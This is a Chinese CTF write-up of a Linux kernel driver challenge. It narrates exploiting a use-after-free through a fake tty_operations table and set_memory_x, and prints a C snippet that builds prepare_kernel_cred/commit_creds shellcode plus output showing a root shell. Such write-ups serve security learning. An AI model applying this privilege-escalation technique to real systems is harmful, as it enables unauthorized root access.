看雪CTF 2019Q3 第十题 绝地反击 WP
2019-09-26 13:41:39 Author: bbs.pediy.com(查看原文) 阅读量:157 收藏

[原创]看雪CTF 2019Q3 第十题 绝地反击 WP

11小时前 83

[原创]看雪CTF 2019Q3 第十题 绝地反击 WP

驱动新手,第一次做驱动题,拿到题目的时候一脸懵,完全不知道要干什么,只知道题目是个虚拟机,但是参数啥意思完全不知道。

好在我虽然不会翻墙google,但还是和度娘很熟的,在wiki ctf里学习了一下搭建环境的方法,又从github上面找到一个别的题目的wp作为模板,开始了我的驱动征程。

我学到的第一件事情就是mod.ko是个驱动文件,而且是elf文件,可以使用ida打开。然后就是比较熟悉的pwn界面了,里面没有调用几个函数,而且大部分都是驱动常用的,直接baidu就有详细的功能说明。虽然我的分析调试环境还没有搭建起来,但是我拼着敏锐的直觉一下就看出了最后一个kfree有问题,它free之后居然没有清空指针,涉嫌uaf。

我这里一直犯了一个错误,我以为alloc出来的空间就是参数里面的常量3520,这是普通pwn题带来的经验主义的错误,导致我在利用上面一直缺乏构思,直到我调试环境搭建好了能够查看内存才发现,kmem_cache_alloc函数申请的内存空间是由第一个参数决定的,它对应的大小是0x400。通用的tty设备的思路才被我重视起来。

因为开启smep会限制内核执行用户态的代码指令,所以我利用网上的方法尝试着构造了一个rop,使用xchg来交换eax和栈的地址来执行代码。但是很奇怪的是每次交换完,程序就报错重启了。而且显示的错误代码在网上也一直搜不到原因,浪费了N个小时之后,我才发现或者是因为虚拟机的参数设置导致的。于是我挨个查找每个参数的含义,终于发现smap这个罪魁祸首。开启smap之后居然连用户态的数据也不让访问了。

好在肯定还有办法的,在搜索smap的同时,还发现了ret2dir可以完美绕过smap和smep,于是我添加了喷射shellcode的功能,并且成功的让rip跳到了这些shellcode上,结果    虚拟机又又又重启了……

最后实在没办法,大半夜困得不行,我就把目标又看向了那个作为模板的wp,里面有一段被我注释的内容,里面有这么一个操作

fake_tty_operations->ioctl = set_memory_x;

set_memory_x??这是什么函数?设置..内存..可执行??

然后还有一堆类似下面一样的代码(这里粘贴的是我的wp真实代码,原有代码已经被我修改替换了):


    fake_tty_operations->ioctl = (unsigned long)target + sizeof(struct tty_operations);
    memcpy(buff2,fake_tty_operations,sizeof(struct tty_operations));

    unsigned char *shellcode = (unsigned char *)buff2 + sizeof(struct tty_operations);
    *(unsigned short *)shellcode = 0x9090;
    shellcode += 2;
    *(unsigned long *)shellcode = 0x90ff3148;
    shellcode += 3;
    *(unsigned short *)shellcode = 0xB848;
    shellcode += 2;
    *(unsigned long *)shellcode = prepare_kernel_cred;
    shellcode += 8;
    *(unsigned short *)shellcode = 0xD0FF;
    shellcode += 2;
    *(unsigned long *)shellcode = 0x90c78948;
    shellcode += 3;
    *(unsigned short *)shellcode = 0xB848;
    shellcode += 2;
    *(unsigned long *)shellcode = commit_creds;
    shellcode += 8;
    *(unsigned short *)shellcode = 0xD0FF;
    shellcode += 2;
    *(unsigned char *)shellcode = 0xC3;

shellcode??直接执行?这真是瞌睡的时候递过来一个枕头,我顿时困意全无。

没想到内核里面还有这么x的函数!直接可以把我的可控区域添加可执行属性。我都顾不得删除前面那些xchg啊、喷射啊之类的无用代码,直接把这些注释取消,修改,执行,bingo!

直接连上ssh放入目标执行,(吐槽一下,白天这个服务我一直连上没反应,好在晚上一下就成功了)打完收工。

下面是部分执行结果:

set_memory_x = 0xffffffffa0231b40
0x555556b1c010,size = f8
mmap_base: 0xa0347e19
7:*mmap_base = 0xffffffffa037bdf0
8:end!
flag{l1nux_kerne1_4_fun}
/home/pwn # $ id
id
uid=0(root) gid=0
/home/pwn # $ exit
exit

[培训]《安卓高级研修班》彻底搞定函数抽取型壳!现在报名得源码和安卓8.1脱壳机!10月20日深圳专场不见不散!


文章来源: https://bbs.pediy.com/thread-254724.htm
如有侵权请联系:admin#unsafe.sh